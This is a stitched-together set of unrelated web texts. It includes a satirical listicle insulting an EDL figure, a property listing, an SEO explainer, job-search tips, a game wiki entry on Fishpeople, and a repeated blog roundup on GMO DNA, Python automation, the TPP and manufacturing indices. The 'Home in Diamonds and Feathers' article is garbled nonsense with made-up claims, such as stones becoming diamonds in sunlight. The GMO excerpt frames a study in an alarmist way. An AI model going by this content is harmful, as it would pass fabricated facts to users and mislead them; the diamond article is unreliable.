1/ He claimed that Saffiyah had ‘ignored’ the EDL’s minute silence for victims of terrorism but forgot to mention that no one else knew about it, including himself, as he was seen jabbering all through it…
2/ … and just because a few dozen EDL drunks suddenly decide to hold a minute’s silence, it doesn’t mean the whole country has to comply.
3/ He referred to Saffiyah as an ‘unwashed scrubber’ … err
4/ When a story goes viral across world media making you look like an utter-twunt-bucket, you cannot unwrite it however many poorly written and incoherent posts you make on Facebook.
5/ If you are going to protest against other people bullying women, try not to bully women in front of your own (poorly written) signs:
6/ … and try not to do this.
7/ Your speeches at demos are pish, really, really, cold, smelly, well fermented asparagus pish …
‘Quick! In the taxi everyone! He’s gonna do another speech!’
8/ The only reason the EDL haven’t sacked you is because they would lose 5% of their entire membership.
9/ Gail Speight, the EDL’s fallen Angel, has kicked you out of the house so you live in a tent in her back garden. She allows you in once a month for a shower, which you usually miss.
10/ Under your fuhrer-ship the EDL has made Pudding-Heid Golding’s Britain First weirdo evangelist cross wielding bacon mongers look professional. Which they clearly arent.
So all in all, while it has been a complete disaster for you, it has been a very, very amusing one for anti-fascists and the main question Crossland needs to ask is ‘when are the EDL going to pack it in?’ Hopefully soon but probably not. Give it up lad, it’s embarrassing for you!
Be Seeing You! | mini_pile | {'original_id': '0286dfc1d69077fd3f7d03e42947659fab799c4c59e8239bb355e612b937c3ff'} |
A Home in Diamonds and Feathers
Posted by admin
A home in diamonds and feathers is a home you can’t buy.
A home built on a plot of land.
A house built on an island.
A mansion that’s just barely over 500 square feet.
A one-bedroom house in a small, two-story house.
A large, one-story, two bedrooms home.
And a lot of houses that are built in stone and timber.
So what’s the deal?
How does a home in a diamond and feather shape come to be?
Let’s take a look.
The Home in a Diamond and Feather Home: The Home on a Plot of Land What a diamond home looks like in a typical, traditional house.
In most of these homes, there are at least two rooms.
A kitchen, dining room, living room, bathroom, and bedroom are in the home.
This is a typical example of a traditional diamond home.
A typical home in the United States.
What’s the difference between a diamond house and a home built in a traditional way?
When we think of traditional houses, we think about the traditional shape of the house and how it sits.
We also think about where it was built.
If you have a house built in the traditional way, you are building it in a way that looks very traditional.
So a traditional house might have a big front yard, it might have no windows, and the ground floor might have very little windows.
In other words, it’s a house that is very traditional in its construction.
In a diamond-shaped home, you might build it like a house on a piece of land that’s not much bigger than a basketball court.
The reason this traditional shape is so common is because diamond shapes are not usually made from wood, but rather from stones.
If a diamond is built like a tree, it will be difficult to build on a lot, and it will have a much smaller footprint than a traditional tree.
Diamond shapes are made up of a combination of the form of the stone and the size of the stones that make up the stone.
The smaller the stones, the more dense the stone is, and that means it’s much harder to make a diamond shape out of smaller stones.
When a diamond has a very fine edge, the diamond is going to be harder to carve out of, so the diamond shape becomes much less common.
A diamond is a very special shape.
It’s the shape that was made for the first time by a diamond.
The Diamond on a Plane Diamonds are often used as part of a plane because they’re so beautiful to look at.
But the fact that diamonds are made from so much stone is also a part of their beauty.
A plane is just like a traditional home.
The only difference is that a plane is made up entirely of stone.
But even though a plane might be made out of a very thin, very fine, and incredibly dense material, it is still a plane.
If we build a plane on the ground, it has a flat surface, meaning it’s flat.
The ground is a lot like the earth.
The air is very dense, so it’s also a lot harder to create a plane shape out on the earth than a diamond can.
A Diamond on the Shore A diamond on the beach is very different than a typical diamond home, because it’s made out almost entirely of rock.
This means that the diamonds are shaped differently.
It doesn’t matter if the diamonds come from a quarry, a quarry that’s only a couple of hundred yards from a beach or from a stone quarry that has thousands of feet of tunnels.
These are just different types of diamonds.
But these diamonds are very special because they are made entirely of rocks.
A natural diamond is made from a combination, one of which is the diamond’s natural stone.
This type of diamond has very small, fine diamond crystals.
When the stone crystals are exposed to air, the stones turn into diamonds.
If the stone crystal is not exposed to the sun, the stone turns into a glass.
These two kinds of diamonds are also very different from each other.
If I put a diamond on a beach, the diamonds will be very shiny and the water will splash on them.
They’ll have a rough, rough texture.
They may also have a very hard edge that’s really hard to carve.
They’re also quite strong.
The diamonds will also have very thin scales, which is why a diamond shaped like a beach is much easier to carve than a regular diamond.
A Stone on the Surface When a stone is exposed to light, it becomes a diamond, because the stone crystallizes.
As a result, when it’s exposed to sunlight, the crystal changes to a diamond that is hard, shiny, and hard.
The way that these stones are shaped is because the stones have been shaped by sunlight.
The crystals that form on a stone are called gemstones.
A gemstone is an extremely fine, very hard, very shiny stone that has been formed by a process called
Sponsorship Levels and Benefits
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Property Description
Located in Castle Shannon, this one and a half story style home has 2 bedrooms and 1 full bath. 3725 Middleboro Rd is situated in the Keystone Oaks School District. The sale of this home includes refrigerator, gas stove, dish washer, disposal, pantry, microwave oven, and multi-pane windows. This home also has a 2 car attached garage, tile, hard wood, wall to wall carpet floors, gas heating, and central air cooling. | mini_pile | {'original_id': '2c9b9a2bd2bfc053ade971c4cbfef94bcfd8e3008057f1658502562ef7e6116f'} |
Insight August 26, 2020
Everything You Need to Know About Position Zero
Position zero is a fairly new principle in search engine optimization (SEO) that can help businesses get a leg up on their competition. By properly optimizing your website, you will increase the visibility and credibility of your brand.
What is Search Engine Optimization?
SEO is the process of improving your website to not only increase the quantity of your web traffic, but also improve its quality through non-paid efforts.
At inferno, we describe SEO as the language your website uses to speak to search engines. It tells the search engines what the site is about and when it should be served on the search engine results page (SERP). This language involves both on-page and off-page elements, as well as backend metadata. The more optimized your site, the more likely it is to be served to searchers.
For most of the history of search engines, SERP position one was the gold standard. Depending on the complexity of the keyword and competition, this was virtually impossible for small businesses to achieve. In recent years, a newly coveted position – position zero – has arrived on the scene and attracted the attention of SEO specialists. Unlike position one, position zero offers more opportunities for small, local businesses to achieve this coveted rank.
What is Position Zero?
Position zero is an elevated organic ranking made up by featured snippets. Google defines featured snippets as “a special box at the top of your search results with a text description above the link.” These boxes give searches a quick glimpse of web copy filled with information related to their search.
Types of featured snippets:
• Answers to questions
• Instructions
• Definitions
• Comparisons
• Price Breakdowns
• “Bests” Lists
• FAQs
The information provided in featured snippets comes in a variety of forms. It can be a paragraph, chart, bullet list or YouTube video.
In 2019, 23% of SERPs included a featured snippet. As voice search increases, position zero is even more important, as the featured snippet is often what’s read by virtual assistants such as Siri, Alexa or Google Home.
Tips for Moving into Position Zero
You may be asking how to mark your page as one containing a featured snippet. Unfortunately, you can’t. Google makes that determination. However, there are some optimizations you can make as part of your SEO strategy that will make your page or post more likely to be chosen.
• Optimize your content based on your audience. What questions are they commonly asking about your business? You can find some of this information in your Google Search Console, by practicing social listening, or by checking in with your sales team.
• Do keyword research. Once you know what your audience is asking, dig into the keywords they’re using. This will help you generate a list of topics around which you can create content. This will not only increase your chances of appearing in position zero, but will also help your overall SEO by focusing your content creation efforts on high-value terms.
• Write content that answers a question or explains a concept. Once you have some FAQs/topics in mind, create new content or optimize existing content to reflect information your audience is seeking.
• Write digestible content. When creating a featured snippet, Google wants to give users a quick answer or explanation. Make sure you concisely answer the question and don’t write overly long paragraphs. Featured snippets are typically between 40 and 50 words.
• Format wisely. Break up content using headers. This will allow Google to see what each section is about and potentially allow it to be used in multiple featured snippets. As a best practice, if a section is longer than 300 words, it needs a header.
Keeping up with the Google algorithm is a full-time job in itself. And while position zero certainly has some longevity, it’s not something businesses should rush to achieve without a plan in place. For many business owners, SEO can be a daunting, abstract idea. They know it is important and can lead to increased sales, but they don’t understand how to implement SEO strategy
Contact inferno today to discuss creating a strategy around your SEO efforts, including an SEO audit of your current website and recommendations for improvement. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '6', 'language_id_whole_page_fasttext': "{'en': 0.9373909831047058}", 'metadata': "{'Content-Length': '35920', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:W5K6FB5ZOWLNRDL72TJWRVC6KSSUB6MD', 'WARC-Concurrent-To': '<urn:uuid:14a55859-4d35-4282-bb88-b448c91bdf6b>', 'WARC-Date': datetime.datetime(2021, 2, 27, 6, 3, 41), 'WARC-IP-Address': '23.185.0.4', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:X746DGRWBAN7BJ7A3EZ3GKWVTZPGR2CQ', 'WARC-Record-ID': '<urn:uuid:6f903f67-9935-47ca-86ac-c81ff5630f25>', 'WARC-Target-URI': 'https://creativeinferno.com/everything-you-need-to-know-about-position-zero/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:07e11f6f-25eb-4a67-b5e5-85131e6cd3e0>', 'WARC-Truncated': None}", 'previous_word_count': '703', 'url': 'https://creativeinferno.com/everything-you-need-to-know-about-position-zero/', 'warcinfo': 'isPartOf: CC-MAIN-2021-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-43.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.02079075574874878', 'original_id': '8ad3ffed2f470e8f32286bf7e654ffbfc0fd2bd1c94911ec889b841595f4870a'} |
15 Reasons Your Job Search Will Self-Destruct Today
15 Reasons Your Job Search Will Self-Destruct Today
From Recruiter - September 22, 2016
How you go about your job search saysa lot about whoyou are as a professional. We can argue about how closely related ourpersonal and professional personas are,but at the end of the day, I can assure you most companies and hiring managers pay careful attention to how you act during a job search, and this plays a huge role in their decision to hire you (or not).
Unfortunately, your job search efforts can self-destruct quickly.If you engage in the wrong behaviors, youll do nothing but harm your own chances at landing a job.
Here are fifteen ways in which you may be sabotaging your own job hunt right now:
1. Youre Moaning, Crying, Whining, Complaining, and/or Begging
Now and then, I see job seekers use LinkedIn and Twitter to beg peoplefor a job. Usually, their cry is to no avail.
Now, imagine an employer lands on your page and sees a post like this: All I ask is for someone to tellme what Im doing wrong! No one is interested in hiring a desperate person.
2. Theres No Depth or Breadth to Your Network
The effectiveness of your connections must be by design, not by accident.
Building depth into your network means fostering relationships with people at all levels in your industryteam leaders, managers, directors, general managers, vice presidents, etc. Building breadth means connecting withcolleagues and peers because of their potential value.
Remember: Its okay to connect with people you dont know. In fact, its critical if you really want to build a deep network.
3. You Limit Your Use of Social Media
Some people assume that posting about their professional lives and their industries will make them seem self-absorbed. Or they worry that no one would pay attention anyway. But you need to offer your followers some value on social media. If you arent valuable to your social media connections, youll be the last to know.
You obstruct your job search if you dont look forways to foster conversations with people who could potentially lead you to a hiring manager or recruiter, whether directly or indirectly.
So go aheaduse social media to foster those conversations. It wont make you seem self-absorbed; it will make you valuable.
4. Youre Not Doing Anything to Hone Your Craft
When youre out of workor not working in your desired fieldyou still need to be honing your craft. If youre in public relations, you should be writing. If youre trying to pass the bar exam in Illinois, you should bestudying. Even professional athletes train during the off-season.
Volunteer work is another great way to hone your skills.There is almost definitely an organization in your area that could use your career-relevant skills.
5. Youre NotStaying Vigilant
Opportunities can arise anytime and anywhere. If you arent paying attention, youll miss chances. You should always beready to present yourself as a great choice. You never know when youll meet someone who can help you.
Reading books and blogs, listening to podcasts, and connecting with others regularlyare fundamental to remaining vigilant in your job search.
6. Youve BecomeEnvious of Your Competition
You should know what your competition is doing, but you shouldnt outright copy them.
Envy drives some to nearly plagiarize content from their competitors or emulate their presences. Its okay to draw inspiration from your competitors, but you cant just copy their brands. Thats not authentic, and it wont give employers an accurate look at who you are.
7. YouCant Adjust to the Peaks and Valleys of Your Journey
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From Clockwork Empires Wiki
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Fishpeople is a population of fishlike humanoid creatures that live in all Colony Locations. They are one of the faction types in the Clockwork Empires. Fishpeople have either blue, silver or green scales and are often armed with a weapon. The leader of a group of Fishpeople wears headgear.
Fishpeople are not aggressive from the outset. Instead a player will be given the Fishpeople discovery event at which point the player can either deny their existence, try to communicate with them or order them to be shot on sight. If good relationships are maintained with the Fishpeople, they will eventually start sending envoy parties bearing gifts such as a cube of flesh, a raw beetle steak, a bushel of bones, a bushel of sand and a bushel of scrap iron. Otherwise player interaction can turn them hostile in the future. An event may occur, where a fishperson butchers a colonists, which doesn't help keeping good relations. Colonists may ask the player to change their policy towards Fishpeople.
If Fishpeople are hostile towards the player, Fishpeople will also start raiding the colony, much in the way of bandits or foreign raiding parties.
I see dead fishpeople[edit | edit source]
Fishpeople can be butchered when dead by creating a "Butcher Fishperson" job on them. This will make an idle colonist butcher them to provide two raw fishperson steaks.
Additionally, your naturalists can dissect fishpeople organs for scientists to research for prestige points.
A Blue Fishperson wandering around with a bone knife
A blue fishperson wandering around with a Bone Knife.
Character Types[edit | edit source]
Like colonists, fishpeople can also have a various traits. They also have names displayed.
Raids[edit | edit source]
If enough fishpeople are killed, they are angered and will send a wave of raiders to kill your colonists. These fishmen will all be armed.
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“In a new study published in the peer reviewed Public Library of Science (PLOS), researchersemphasize that there is sufficient evidence that meal-derived DNA fragments carry complete genes that can enter into the human circulation system through an unknown mechanism. (0) I wonder if the scientists at these biotech corporations have already identified this method? In one of the blood samples the relative concentration of plant DNA is higher than the human DNA. The study was based on the analysis of over 1000 human samples from four independent studies. PLOS is an open access, well respected peer-reviewed scientific journal that covers primary research from disciplines within science and medicine. It’s great to see this study published in it, confirming what many have been suspecting for years.
When it comes to genetically modified crops and foods, we really have no idea of what the long term effects will be on the public. The very first commercial sale of genetically modified foods was only twenty years ago in the year 1994. There is no possible way that our health authorities can test all possible combinations on a large enough population, over a long enough period of time to be able to say with certainty that they are harmless. Geneticist David Suzuki recently expressed his concern, saying that human beings are part of a “massive genetic experiment” over many years, as thousands of people continue to consume GMO’s, and it makes sense.
Advances in genome science over the past few years have revealed that organisms can share their genes. Prior to this, it had been thought that genes were shared only between individual members of a species through reproduction. Geneticists usually followed the inheritance of genes in what they would call a ‘vertical’ fashion, such as breeding a male and female -you follow their offspring and continue down the road from there. Today, scientists recognize that genes are shared not only among the individual members of a species, but also among members of different species.
“Our bloodstream is considered to be an environment well separated from the outside world and the digestive tract. According to the standard paradigm large macromolecules consumed with food cannot pass directly to the circulatory system. During digestion proteins and DNA are thought to be degraded into small constituents, amino acids and nucleic acids, respectively, and then absorbed by a complex active process and distributed to various parts of the body through the circulation system. Here, based on the analysis of over 1000 human samples from four independent studies, we report evidence that meal-derived DNA fragments which are large enough to carry complete genes can avoid degradation and through an unknown mechanism enter the human circulation system. In one of the blood samples the relative concentration of plant DNA is higher than the human DNA. The plant DNA concentration shows a surprisingly precise log-normal distribution in the plasma samples while non-plasma (cord blood) control sample was found to be free of plant DNA.” (0)
It’s not like a human being mates with an apple, banana or a carrot plant and exchanges genes. What biotechnology and biotech corporations like Monsanto have done, is they have allowed for the transfer of genes from one to the other without any regard for the biological limitations, or constraints. The problem with this is that it is based on very bad science. The conditions and biological ‘rules’ that apply to vertical gene transfer, at least those that we are aware of, do not necessarily apply to horizontal gene transfer. Biotech science today is based on the assumption that the principles governing the inheritance of genes are the same when we move genes horizontally as they are when they are moved vertically. It just goes to show that GMO’s should be subjected to much more experimentation and rigorous research before we continue to consume them….”
The more accurate title would be “The Python (Script) That Ate Your Job.”Python is a computer language whose core philosophy is summarized by “PEP 20 (The Zen of Python)”, which includes aphorisms such as:
Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Readability counts.
(source: Wikipedia)
As I understand it (from a non-programmer POV), Python enables rapid development of scripts that may not be optimized by some metrics but which work perfectly well in terms of solving a problem in a cost-effective manner.
(Programmers can be highly partisan, i.e. emotionally attached to their preferred language, so I am trying to be as non-partisan and careful as possible here to avoid arousing the ire of either Pythoneers or Python detractors. I am just an ignorant bystander; please don’t shoot the piano player, etc.)
A senior manager at a small tech company recently related a story that illustrates 1) the power of Python (and other scripting languages) and 2) the changing nature of work:
The company had some time-consuming data analysis that needed to get done on a regular basis, and the manager was considering recruiting a (paid) intern to do the work. Instead, he spent four hours writing a Python script which did the work in a few minutes. He named the program “Intern.”
This story is repeated thousands of times a day across millions of tasks. Virtually all of my self-employed friends use technology to enable one person to produce output that would have taken three people in the 1980s.
As management guru Peter Drucker noted, enterprises don’t have profits, they only have expenses. If you are self-employed or own/manage a business, you will immediately grasp the profound truth of this insight.
If you can replace an expensive worker (and every employee is expensive nowadays, due to the high cost of labor and general overhead) with a Python script that can be crafted in a few hours, financial fact compels you to do so: your business has no profit, it only has expenses.
This dynamic is scale-invariant, meaning it is true of all organizations, from one-person businesses up to global corporations and entire nations. A non-profit group only has expenses, and so do churches, cities and nations. Once expenses exceed income, the organization goes bust.
Could I be replaced with a Python script? In some ways, yes: a script could be written that mined the thousands of entries and essays I’ve written for repeating words, phrases and themes, and the script would rehash the material into “new” entries.
But since the script isn’t logging “experience” in the same way as a human does, the script would not be able to replicate dynamics such as changing one’s mind or taking a new direction, although it could randomly generate such behaviors to mimic human development.
Would the script be “good enough” to attract readers? Perhaps; but attracting and keeping readers is not necessarily a problem-state that can be solved with data-mining and pattern matching, as readers seek not just novelty and expressive writing but insight. Any script that rehashed existing material would not be generating new insight; it would simply be repackaging previous insights.
For highly partisan blogs, this might well be “good enough,” since partisan readers actually want to read the same rehashed material again and again: in effect, a script that repackaged “it’s the Demopublican’s fault” with new headlines and slightly different content would closely match the human content generator’s output.
I have no doubt some clever programmers have already played around with generating rehashed content and posting it as a blog written by a human being….”
“New reports on leaked draft versions of the Trans-Pacific Partnership (TPP) agreement indicate threats to the rights of news organizations to publish information critical of large corporations. The multinational trade pact will require member states to surrender sovereign control over domestic copyright laws, as well.
give private corporations new tools to undermine national sovereignty and democratic processes. Specifically, TPP would give multinational companies the power to sue countries over laws that might diminish the value of their company or cut into their expected future profits.
EFF reports that a seemingly benign provision of the TPP agreement called the “investor-state dispute settlement” (ISDS) will revoke the right of domestic courts to settle legal disputes between participating countries and corporations with investments in that country.
In a nutshell, if a corporation feels that its ability to turn a profit on an investment made in a member country is being stymied by the country’s regulatory scheme, then that corporation may bring the dispute to the TPP bureaucracy, completely bypassing the nation’s domestic judicial system.
The EFF story summed up this TPP provision’s assault on national sovereignty:
Apparently a country’s own courts can’t be trusted to administer this kind of lawsuit, so investor-state also requires the creation of a new court. It would be comprised of three private-sector attorneys who take turns being judge and/or corporate advocate.
Even if this kangaroo court ruled in favor of the defendant nation, court costs alone would scare countries from adopting (or enforcing) pro-user policies where they might potentially inhibit investor profits. The investor-state tribunal bills its time by the day and decides for itself how many days to work, so it can rack up as many days of work they want. Given this system, it’s then no surprise that current investor-state court costs average about 8 million dollars per case. So even if it wins, the country has to pay those court fees, the lawyer fees, plus compound interest. That’s money that would doubtless be better spent elsewhere.
The process is absurd as well. Once a decision has been issued, there is no way to appeal it. That’s right, if this court rules that the nation is at fault and has to pay huge fees that could even bankrupt a government, there’s no other way for the country to overturn that decision.
The ISDS section of the chapter on intellectual property in the leaked TPP draft agreement is nearly as “absurd,” however, as the agreement’s mandate forces member nations to enact regulations that require Internet Service Providers (ISPs) to privately enforce copyright protection laws.
These private companies — many of which are very small — would be forced to take upon themselves the responsibility of patrolling for and punishing any violation of the copyright laws by its subscribers.
Current U.S. law, specifically the Digital Millennium Copyright Act (DMCA), would be supplanted by TPP Article 16.3. This provision in the TPP draft document paves the way for a new copyright enforcement scheme that extends far beyond the limits currently imposed by DMCA. In fact, it contains mandates more expansive than even those proposed in the Anti-Counterfeiting Trade Agreement (ACTA).
ACTA is widely regarded as a threat to Internet freedom, as well as to the legislative power of the Congress. If ACTA is a threat than TPP is an all-out frontal assault.
Regardless of any flaws of the DMCA, it is U.S. law and should not be subject to de facto appeal by the work of a body of internationalists who are not accountable to citizens of the United States.
Apart from the issues of sovereignty, putting such pressure on service providers is a threat not only to the owners of these small business, but also to Internet freedom, as well.
It is the good work of these ISPs that has created the Internet we know today. Were it not for the typically low-cost access these companies provide, the pool of readily accessible viewpoints, opinions, and news resources would be significantly shallower…..”
In recent weeks, volatility has returned to the the global financial markets as the Federal Reserve has signaled it could soon taper its stimulative bond-buying program. But any action would be conditioned on ongoing improvement in the U.S. economic data.
“A simultaneous drop in both U.S. and Chinese manufacturing threatens to give the global economy a double whammy.
American manufacturing companies reported fewer orders in May — the largest drop in their business in almost four years. The Institute for Supply Management (ISM) index fell from 50.7 percent to 49 percent, the third straight monthly drop.
Meanwhile, the China HSBC Purchasing Managers’ Index (PMI) dropped to 49.2 percent from 50.4 in April, the lowest since October 2012.
“This is not a good moment for the world economy,” David Bloom, currency chief at HSBC, told the U.K.-based Telegraph. “The manufacturing indices came in weaker than expected in China, Korea, India and Russia, and then we got America’s ISM.
“We thought we had a clear picture that the US was recovering, Japan was printing money and were we’re back to happy days, and now suddenly a huge spanner has been thrown in the works.”
Business executives attributed the drop in orders to falling government spending, a slowdown in China and a downturn in Europe.
Tightening fiscal policy in the United States is squeezing consumer spending, according to The Telegraph.
“People have been living in a psychological bubble,” Charles Dumas of Lombard Street Research told The Telegraph. “They ignored the cuts but now they are starting to feel it.”
“Pope Francis criticized what he called “savage capitalism” on a visit to a food kitchen, in an address in which he called for the values of generosity and charity to be revived.
“A savage capitalism has taught the logic of profit at any cost, of giving in order to get, of exploitation without thinking of people … and we see the results in the crisis we are experiencing,” the pope said.
Francis greeted the men and women coming to the “Gift of Maria” food kitchen, located at the walls of the Vatican….”
This documentary puts together everything I have been saying since i was literally 11 years old.
Friends of mine say why complain, why bitch, and that what i say is too big to tackle too depressing to even think about. They are no longer my friends as i have no time for those who have no humanity.
When i bot my home a bumper sticker on the water heater said “If Nothing Changes, Then Nothing Changes”…while that is true there also comes a time where dislocation comes so slowly or too quick to notice until you are in such excruciating pain you wonder how you will ever get back to normal.
Thankfully, there is hope and wisdom that will get us back to normal. The question is will you participate or be an obstacle ?
“In a new study published in the peer reviewed Public Library of Science (PLOS), researchersemphasize that there is sufficient evidence that meal-derived DNA fragments carry complete genes that can enter into the human circulation system through an unknown mechanism. (0) I wonder if the scientists at these biotech corporations have already identified this method? In one of the blood samples the relative concentration of plant DNA is higher than the human DNA. The study was based on the analysis of over 1000 human samples from four independent studies. PLOS is an open access, well respected peer-reviewed scientific journal that covers primary research from disciplines within science and medicine. It’s great to see this study published in it, confirming what many have been suspecting for years.
When it comes to genetically modified crops and foods, we really have no idea of what the long term effects will be on the public. The very first commercial sale of genetically modified foods was only twenty years ago in the year 1994. There is no possible way that our health authorities can test all possible combinations on a large enough population, over a long enough period of time to be able to say with certainty that they are harmless. Geneticist David Suzuki recently expressed his concern, saying that human beings are part of a “massive genetic experiment” over many years, as thousands of people continue to consume GMO’s, and it makes sense.
Advances in genome science over the past few years have revealed that organisms can share their genes. Prior to this, it had been thought that genes were shared only between individual members of a species through reproduction. Geneticists usually followed the inheritance of genes in what they would call a ‘vertical’ fashion, such as breeding a male and female -you follow their offspring and continue down the road from there. Today, scientists recognize that genes are shared not only among the individual members of a species, but also among members of different species.
“Our bloodstream is considered to be an environment well separated from the outside world and the digestive tract. According to the standard paradigm large macromolecules consumed with food cannot pass directly to the circulatory system. During digestion proteins and DNA are thought to be degraded into small constituents, amino acids and nucleic acids, respectively, and then absorbed by a complex active process and distributed to various parts of the body through the circulation system. Here, based on the analysis of over 1000 human samples from four independent studies, we report evidence that meal-derived DNA fragments which are large enough to carry complete genes can avoid degradation and through an unknown mechanism enter the human circulation system. In one of the blood samples the relative concentration of plant DNA is higher than the human DNA. The plant DNA concentration shows a surprisingly precise log-normal distribution in the plasma samples while non-plasma (cord blood) control sample was found to be free of plant DNA.” (0)
It’s not like a human being mates with an apple, banana or a carrot plant and exchanges genes. What biotechnology and biotech corporations like Monsanto have done, is they have allowed for the transfer of genes from one to the other without any regard for the biological limitations, or constraints. The problem with this is that it is based on very bad science. The conditions and biological ‘rules’ that apply to vertical gene transfer, at least those that we are aware of, do not necessarily apply to horizontal gene transfer. Biotech science today is based on the assumption that the principles governing the inheritance of genes are the same when we move genes horizontally as they are when they are moved vertically. It just goes to show that GMO’s should be subjected to much more experimentation and rigorous research before we continue to consume them….”
The more accurate title would be “The Python (Script) That Ate Your Job.”Python is a computer language whose core philosophy is summarized by “PEP 20 (The Zen of Python)”, which includes aphorisms such as:
Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Readability counts.
(source: Wikipedia)
As I understand it (from a non-programmer POV), Python enables rapid development of scripts that may not be optimized by some metrics but which work perfectly well in terms of solving a problem in a cost-effective manner.
(Programmers can be highly partisan, i.e. emotionally attached to their preferred language, so I am trying to be as non-partisan and careful as possible here to avoid arousing the ire of either Pythoneers or Python detractors. I am just an ignorant bystander; please don’t shoot the piano player, etc.)
A senior manager at a small tech company recently related a story that illustrates 1) the power of Python (and other scripting languages) and 2) the changing nature of work:
The company had some time-consuming data analysis that needed to get done on a regular basis, and the manager was considering recruiting a (paid) intern to do the work. Instead, he spent four hours writing a Python script which did the work in a few minutes. He named the program “Intern.”
This story is repeated thousands of times a day across millions of tasks. Virtually all of my self-employed friends use technology to enable one person to produce output that would have taken three people in the 1980s.
As management guru Peter Drucker noted, enterprises don’t have profits, they only have expenses. If you are self-employed or own/manage a business, you will immediately grasp the profound truth of this insight.
If you can replace an expensive worker (and every employee is expensive nowadays, due to the high cost of labor and general overhead) with a Python script that can be crafted in a few hours, financial fact compels you to do so: your business has no profit, it only has expenses.
This dynamic is scale-invariant, meaning it is true of all organizations, from one-person businesses up to global corporations and entire nations. A non-profit group only has expenses, and so do churches, cities and nations. Once expenses exceed income, the organization goes bust.
Could I be replaced with a Python script? In some ways, yes: a script could be written that mined the thousands of entries and essays I’ve written for repeating words, phrases and themes, and the script would rehash the material into “new” entries.
But since the script isn’t logging “experience” in the same way as a human does, the script would not be able to replicate dynamics such as changing one’s mind or taking a new direction, although it could randomly generate such behaviors to mimic human development.
Would the script be “good enough” to attract readers? Perhaps; but attracting and keeping readers is not necessarily a problem-state that can be solved with data-mining and pattern matching, as readers seek not just novelty and expressive writing but insight. Any script that rehashed existing material would not be generating new insight; it would simply be repackaging previous insights.
For highly partisan blogs, this might well be “good enough,” since partisan readers actually want to read the same rehashed material again and again: in effect, a script that repackaged “it’s the Demopublican’s fault” with new headlines and slightly different content would closely match the human content generator’s output.
I have no doubt some clever programmers have already played around with generating rehashed content and posting it as a blog written by a human being….”
“New reports on leaked draft versions of the Trans-Pacific Partnership (TPP) agreement indicate threats to the rights of news organizations to publish information critical of large corporations. The multinational trade pact will require member states to surrender sovereign control over domestic copyright laws, as well.
give private corporations new tools to undermine national sovereignty and democratic processes. Specifically, TPP would give multinational companies the power to sue countries over laws that might diminish the value of their company or cut into their expected future profits.
EFF reports that a seemingly benign provision of the TPP agreement called the “investor-state dispute settlement” (ISDS) will revoke the right of domestic courts to settle legal disputes between participating countries and corporations with investments in that country.
In a nutshell, if a corporation feels that its ability to turn a profit on an investment made in a member country is being stymied by the country’s regulatory scheme, then that corporation may bring the dispute to the TPP bureaucracy, completely bypassing the nation’s domestic judicial system.
The EFF story summed up this TPP provision’s assault on national sovereignty:
Apparently a country’s own courts can’t be trusted to administer this kind of lawsuit, so investor-state also requires the creation of a new court. It would be comprised of three private-sector attorneys who take turns being judge and/or corporate advocate.
Even if this kangaroo court ruled in favor of the defendant nation, court costs alone would scare countries from adopting (or enforcing) pro-user policies where they might potentially inhibit investor profits. The investor-state tribunal bills its time by the day and decides for itself how many days to work, so it can rack up as many days of work they want. Given this system, it’s then no surprise that current investor-state court costs average about 8 million dollars per case. So even if it wins, the country has to pay those court fees, the lawyer fees, plus compound interest. That’s money that would doubtless be better spent elsewhere.
The process is absurd as well. Once a decision has been issued, there is no way to appeal it. That’s right, if this court rules that the nation is at fault and has to pay huge fees that could even bankrupt a government, there’s no other way for the country to overturn that decision.
The ISDS section of the chapter on intellectual property in the leaked TPP draft agreement is nearly as “absurd,” however, as the agreement’s mandate forces member nations to enact regulations that require Internet Service Providers (ISPs) to privately enforce copyright protection laws.
These private companies — many of which are very small — would be forced to take upon themselves the responsibility of patrolling for and punishing any violation of the copyright laws by its subscribers.
Current U.S. law, specifically the Digital Millennium Copyright Act (DMCA), would be supplanted by TPP Article 16.3. This provision in the TPP draft document paves the way for a new copyright enforcement scheme that extends far beyond the limits currently imposed by DMCA. In fact, it contains mandates more expansive than even those proposed in the Anti-Counterfeiting Trade Agreement (ACTA).
ACTA is widely regarded as a threat to Internet freedom, as well as to the legislative power of the Congress. If ACTA is a threat than TPP is an all-out frontal assault.
Regardless of any flaws of the DMCA, it is U.S. law and should not be subject to de facto appeal by the work of a body of internationalists who are not accountable to citizens of the United States.
Apart from the issues of sovereignty, putting such pressure on service providers is a threat not only to the owners of these small business, but also to Internet freedom, as well.
It is the good work of these ISPs that has created the Internet we know today. Were it not for the typically low-cost access these companies provide, the pool of readily accessible viewpoints, opinions, and news resources would be significantly shallower…..”
In recent weeks, volatility has returned to the the global financial markets as the Federal Reserve has signaled it could soon taper its stimulative bond-buying program. But any action would be conditioned on ongoing improvement in the U.S. economic data.
“A simultaneous drop in both U.S. and Chinese manufacturing threatens to give the global economy a double whammy.
American manufacturing companies reported fewer orders in May — the largest drop in their business in almost four years. The Institute for Supply Management (ISM) index fell from 50.7 percent to 49 percent, the third straight monthly drop.
Meanwhile, the China HSBC Purchasing Managers’ Index (PMI) dropped to 49.2 percent from 50.4 in April, the lowest since October 2012.
“This is not a good moment for the world economy,” David Bloom, currency chief at HSBC, told the U.K.-based Telegraph. “The manufacturing indices came in weaker than expected in China, Korea, India and Russia, and then we got America’s ISM.
“We thought we had a clear picture that the US was recovering, Japan was printing money and were we’re back to happy days, and now suddenly a huge spanner has been thrown in the works.”
Business executives attributed the drop in orders to falling government spending, a slowdown in China and a downturn in Europe.
Tightening fiscal policy in the United States is squeezing consumer spending, according to The Telegraph.
